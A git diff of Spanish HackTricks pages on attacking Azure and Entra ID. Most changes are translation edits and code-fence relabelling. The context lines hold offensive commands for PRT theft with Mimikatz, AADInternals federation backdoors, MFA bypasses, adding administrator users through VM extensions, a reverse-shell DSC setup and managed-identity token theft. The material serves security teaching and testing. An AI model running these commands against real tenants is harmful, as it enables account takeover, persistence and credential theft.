Luego ve a [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no, deberías estar bien.
> El resto debería ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no, deberías estar bien.
### Ataque - Mimikatz
#### Pasos
1. El **PRT (Primary Refresh Token) se extrae de LSASS** (Local Security Authority Subsystem Service) y se almacena para su uso posterior.
2. La **clave de sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Data Protection API) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Después del descifrado de la clave de sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Se puede encontrar información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
> [!CAUTION]
> Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\
@@ -166,7 +166,7 @@ Puedes encontrar una **explicación detallada del proceso realizado** para extra
> Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener los tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo.
Puedes usar **mimikatz** para extraer el PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
- Luego ve a [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien.
> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no lo hace, deberías estar bien.
#### Opción 2 - roadrecon usando PRT

6
src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
View File

@@ -1,7 +1,9 @@
# Az - Permisos para un Pentest
# Az - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
Para comenzar las pruebas, debes tener acceso con un usuario con **permisos de Lector sobre la suscripción** y **rol de Lector Global en AzureAD**. Si incluso en ese caso **no puedes acceder al contenido de las cuentas de Almacenamiento**, puedes solucionarlo con el **rol de Contribuyente de Cuenta de Almacenamiento**.
Para comenzar una revisión de endurecimiento de caja blanca de algunos inquilinos de Entra ID, necesitas solicitar el **rol de Lector Global en cada inquilino**. Además, para realizar una revisión de endurecimiento de diferentes suscripciones de Azure, necesitarías al menos los **permisos de Lector sobre todas las suscripciones**.
Ten en cuenta que si esos roles no son suficientes para acceder a toda la información que necesitas, también podrías pedirle al cliente roles con los permisos que necesitas. ¡Solo intenta **minimizar la cantidad de permisos que no son de solo lectura que solicitas!**
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/azure-security/az-persistence/README.md
View File

@@ -1,4 +1,4 @@
# Az - Persistencia
# Az - Persistence
{{#include ../../../banners/hacktricks-training.md}}
@@ -17,31 +17,31 @@ Es posible **dirigir una aplicación con altos permisos** o **agregar una nueva
Un rol interesante para agregar a la aplicación sería el **rol de administrador de autenticación privilegiada**, ya que permite **restablecer la contraseña** de los Administradores Globales.
Esta técnica también permite **eludir MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Para la autenticación basada en certificados
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federación - Certificado de Firma de Token
Con **privilegios de DA** en AD local, es posible crear e importar **nuevos certificados de firma de token** y **certificados de descifrado de token** que tienen una validez muy larga. Esto nos permitirá **iniciar sesión como cualquier usuario** cuyo ImuutableID conozcamos.
**Ejecuta** el siguiente comando como **DA en el/los servidor(es) ADFS** para crear nuevos certificados (contraseña predeterminada 'AADInternals'), agregarlos a ADFS, deshabilitar la rotación automática y reiniciar el servicio:
```powershell
**Ejecuta** el siguiente comando como **DA en el/los servidor(es) ADFS** para crear nuevos certificados (contraseña predeterminada 'AADInternals'), añadirlos a ADFS, desactivar la rotación automática y reiniciar el servicio:
```bash
New-AADIntADFSSelfSignedCertificates
```
Luego, actualiza la información del certificado con Azure AD:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federación - Dominio de Confianza
Con privilegios de GA en un inquilino, es posible **agregar un nuevo dominio** (debe ser verificado), configurar su tipo de autenticación como Federado y configurar el dominio para **confiar en un certificado específico** (any.sts en el comando a continuación) y emisor:
```powershell
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

8
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
View File

@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Luego, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Programador a un runbook usando:
Luego, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Scheduler a un runbook usando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto utiliza Github como ejemplo):
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (esto utiliza Github como ejemplo):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -236,13 +236,13 @@ Si una cuenta de automatización está utilizando un entorno de ejecución perso
- Paso 2 — Comprimir el Archivo de Configuración
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para su transferencia a la Cuenta de Almacenamiento de Azure.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Paso 3 — Establecer contexto de almacenamiento y cargar
El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Paso 4 — Preparar Kali Box

20
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
View File

@@ -4,7 +4,7 @@
## Información Básica
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos bajo las circunstancias adecuadas.\
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso adecuados en las circunstancias correctas.\
Las políticas de acceso condicional **definen** **Quién** puede acceder a **Qué** desde **Dónde** y **Cómo**.
Aquí hay un par de ejemplos:
@@ -40,7 +40,7 @@ Es posible establecer una condición basada en la **plataforma del dispositivo**
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollador:
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollo:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
@@ -69,23 +69,23 @@ Además, también es posible proteger el método de inicio de sesión (por ejemp
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede utilizar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
## Otras elusiones de Az MFA
## Otras elusiones de MFA de Az
### Tono de llamada
Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado** donde se le pedirá al usuario que **envíe el carácter `#`**.
> [!CAUTION]
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el **mensaje de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al correo de voz.
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el mensaje de **buzón de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
### Dispositivos compatibles
Las políticas a menudo piden un dispositivo compatible o MFA, por lo que un **atacante podría registrar un dispositivo compatible**, obtener un **token PRT** y **eludir de esta manera el MFA**.
Comienza registrando un **dispositivo compatible en Intune**, luego **obtén el PRT** con:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -142,19 +142,19 @@ Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los c
</strong></code></pre>
**Prueba cada portal** si es posible **iniciar sesión sin MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Debido a que el **portal** de **Azure** **no está restringido**, es posible **obtener un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
```powershell
Debido a que el **portal** de **Azure** **no está restringido**, es posible **recopilar un token del punto final del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Suponiendo que el token tiene el permiso Sites.Read.All (de Sharepoint), incluso si no puedes acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Referencias

2
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
View File

@@ -23,7 +23,7 @@ Obtén grupos que permiten membresía dinámica: **`az ad group list --query "[?
Para el correo electrónico del usuario Guest, acepta la invitación y verifica la configuración actual de **ese usuario** en [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Desafortunadamente, la página no permite modificar los valores de los atributos, así que necesitamos usar la API:
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

8
src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
View File

@@ -79,7 +79,7 @@ az vm extension set \
También podrías ejecutar otras cargas útiles como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Restablecer la contraseña usando la extensión VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -93,8 +93,8 @@ También es posible abusar de extensiones bien conocidas para ejecutar código o
<summary>Extensión VMAccess</summary>
Esta extensión permite modificar la contraseña (o crearla si no existe) de los usuarios dentro de las VMs de Windows.
```powershell
Esta extensión permite modificar la contraseña (o crearla si no existe) de usuarios dentro de VMs de Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Esta es una **extensión de VM** que pertenece a Microsoft y que utiliza PowerShell DSC para gestionar la configuración de las VMs de Windows en Azure. Por lo tanto, se puede utilizar para **ejecutar comandos arbitrarios** en las VMs de Windows a través de esta extensión:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {

4
src/pentesting-cloud/azure-security/az-services/README.md
View File

@@ -8,12 +8,12 @@ Puedes encontrar la lista de **portales de Microsoft en** [**https://msportals.i
### Solicitudes en bruto
#### API de Azure a través de Powershell
#### Azure API a través de Powershell
Obtén **access_token** de **IDENTITY_HEADER** y **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Luego consulta la API REST de Azure para obtener el **ID de suscripción** y más.
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

2
src/pentesting-cloud/azure-security/az-services/az-acr.md
View File

@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

14
src/pentesting-cloud/azure-security/az-services/az-app-services.md
View File

@@ -4,7 +4,7 @@
## Información Básica del Servicio de Aplicaciones
Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para mejorar la funcionalidad y gestión.
Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para una funcionalidad y gestión mejoradas.
Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de los planes de App Service:
@@ -49,7 +49,7 @@ Algunos puntos finales interesantes que puede encontrar en Kudu son:
- Tenga en cuenta que este entorno **no tiene acceso** al servicio de metadatos para obtener tokens.
- `/webssh/host`: Un cliente SSH basado en web que permite conectarse dentro del contenedor donde se está ejecutando la aplicación.
- Este entorno **tiene acceso al servicio de metadatos** para obtener tokens de las identidades gestionadas asignadas.
- `/Env`: Obtiene información sobre el sistema, configuraciones de la aplicación, variables de entorno, cadenas de conexión y encabezados HTTP.
- `/Env`: Obtenga información sobre el sistema, configuraciones de la aplicación, variables de entorno, cadenas de conexión y encabezados HTTP.
- `/wwwroot/`: El directorio raíz de la aplicación web. Puede descargar todos los archivos desde aquí.
Además, Kudu solía ser de código abierto en [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) pero el proyecto fue descontinuado y comparando el comportamiento del Kudu actual en Azure con el antiguo, es posible ver que **varias cosas ya han cambiado**.
@@ -60,10 +60,10 @@ Los App Services permiten cargar el código como un archivo zip por defecto, per
- Las fuentes de terceros actualmente soportadas son **Github** y **Bitbucket**.
- Puede obtener los tokens de autenticación ejecutando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure por defecto configurará una **Github Action** para implementar el código en el App Service cada vez que se actualice el código.
- Azure por defecto configurará una **Acción de Github** para implementar el código en el App Service cada vez que se actualice el código.
- También es posible indicar un **repositorio git remoto** (con nombre de usuario y contraseña) para obtener el código desde allí.
- Puede obtener las credenciales para el repositorio remoto ejecutando `az webapp deployment source show --name <app-name> --resource-group <res-group>` o `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- También es posible usar un **Azure Repository**.
- Puede obtener las credenciales del repositorio remoto ejecutando `az webapp deployment source show --name <app-name> --resource-group <res-group>` o `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- También es posible usar un **Repositorio de Azure**.
- También es posible configurar un **repositorio git local**.
- Puede obtener la URL del repositorio git con `az webapp deployment source show --name <app-name> --resource-group <res-group>` y será la URL SCM de la aplicación.
- Para clonarlo necesitará las credenciales SCM que puede obtener con `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -225,7 +225,7 @@ done
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Ejemplos para generar Aplicaciones Web
## Ejemplos para generar aplicaciones web
### Python desde local

4
src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
View File

@@ -8,7 +8,7 @@
El Application Proxy de Azure Active Directory proporciona **acceso remoto seguro a aplicaciones web locales**. Después de un **inicio de sesión único en Azure AD**, los usuarios pueden acceder tanto a **aplicaciones en la nube** como a **aplicaciones locales** a través de una **URL externa** o un portal de aplicaciones interno.
Funciona así:
Funciona de la siguiente manera:
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
@@ -20,7 +20,7 @@ Funciona así:
6. La **respuesta** se envía a través del conector y el servicio de Application Proxy **al usuario**.
## Enumeración
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

4
src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
View File

@@ -4,7 +4,7 @@
## Información Básica
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestructura como código para tus soluciones de Azure**, utiliza plantillas de Azure Resource Manager (plantillas ARM). La plantilla es un archivo de Notación de Objetos de JavaScript (**JSON**) que **define** la **infraestructura** y la configuración para tu proyecto. La plantilla utiliza una sintaxis declarativa, que te permite indicar lo que pretendes desplegar sin tener que escribir la secuencia de comandos de programación para crearlo. En la plantilla, especificas los recursos a desplegar y las propiedades de esos recursos.
[De la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestructura como código para tus soluciones de Azure**, utiliza plantillas de Azure Resource Manager (plantillas ARM). La plantilla es un archivo de Notación de Objetos de JavaScript (**JSON**) que **define** la **infraestructura** y la configuración para tu proyecto. La plantilla utiliza una sintaxis declarativa, que te permite indicar lo que pretendes desplegar sin tener que escribir la secuencia de comandos de programación para crearlo. En la plantilla, especificas los recursos a desplegar y las propiedades de esos recursos.
### Historia
@@ -13,7 +13,7 @@ Si puedes acceder a ella, puedes tener **información sobre recursos** que no es
## Buscar Información Sensible
Los usuarios con los permisos `Microsoft.Resources/deployments/read` y `Microsoft.Resources/subscriptions/resourceGroups/read` pueden **leer el historial de despliegue**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

14
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -4,12 +4,12 @@
## Información Básica
Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos de automatización**, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube.
Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos** de automatización, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y la consistencia en la gestión de recursos en la nube.
### Configuraciones
- **Credenciales**: La contraseña solo es accesible dentro de un runbook dentro de la cuenta de automatización, se utilizan para **almacenar nombres de usuario y contraseñas de forma segura**.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada encriptada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada cifrada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Certificados**: Se utilizan para almacenar **certificados** que pueden ser utilizados en runbooks.
- **Conexiones**: Se utilizan para almacenar **información de conexión** a servicios externos. Esto podría contener **información sensible**.
- **Acceso a la Red**: Se puede establecer como **público** o **privado**.
@@ -26,7 +26,7 @@ Un **Trabajo es una instancia de ejecución de un Runbook**. Cuando ejecutas un
- **Salida**: El resultado de la ejecución del Runbook.
- **Hora de Inicio y Fin**: Cuándo comenzó y se completó el trabajo.
Un trabajo contiene la **salida** de la **ejecución del Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
Un trabajo contiene la **salida** de la ejecución del **Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
### Programaciones y Webhooks
@@ -38,7 +38,7 @@ Hay 3 formas principales de ejecutar un Runbook:
### Control de Versiones
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de automatización de Azure.
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de Automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de Automatización de Azure.
Cuando la sincronización está habilitada, en el **repositorio de Github se crea un webhook** para activar la sincronización cada vez que ocurre un evento de push. Ejemplo de una URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
@@ -73,12 +73,12 @@ Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbri
Además, si el trabajador híbrido se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**.
> [!TIP]
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidad administrada de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
### Configuración de Estado (SC)
>[!WARNING]
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Las Cuentas de Automatización también admiten **Configuración de Estado (SC)**, que es una función que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

62
src/pentesting-cloud/azure-security/az-services/az-azuread.md
View File

@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Cuando **inicias sesión** a través de **CLI** en Azure con cualquier programa, estás utilizando una **Aplicación de Azure** de un **inquilino** que pertenece a **Microsoft**. Estas Aplicaciones, como las que puedes crear en tu cuenta, **tienen un id de cliente**. **No podrás ver todas ellas** en las **listas de aplicaciones permitidas** que puedes ver en la consola, **pero están permitidas por defecto**.
Cuando inicias sesión a través de CLI en Azure con cualquier programa, estás utilizando una Aplicación de Azure de un inquilino que pertenece a Microsoft. Estas Aplicaciones, como las que puedes crear en tu cuenta, tienen un id de cliente. No podrás ver todas ellas en las listas de aplicaciones permitidas que puedes ver en la consola, pero están permitidas por defecto.
Por ejemplo, un **script de powershell** que **autentica** utiliza una aplicación con el id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Incluso si la aplicación no aparece en la consola, un sysadmin podría **bloquear esa aplicación** para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App.
Por ejemplo, un script de powershell que autentica utiliza una aplicación con el id de cliente `1950a258-227b-4e31-a9cf-717495945fc2`. Incluso si la aplicación no aparece en la consola, un sysadmin podría bloquear esa aplicación para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App.
Sin embargo, hay **otros ids de cliente** de aplicaciones que **te permitirán conectarte a Azure**:
```powershell
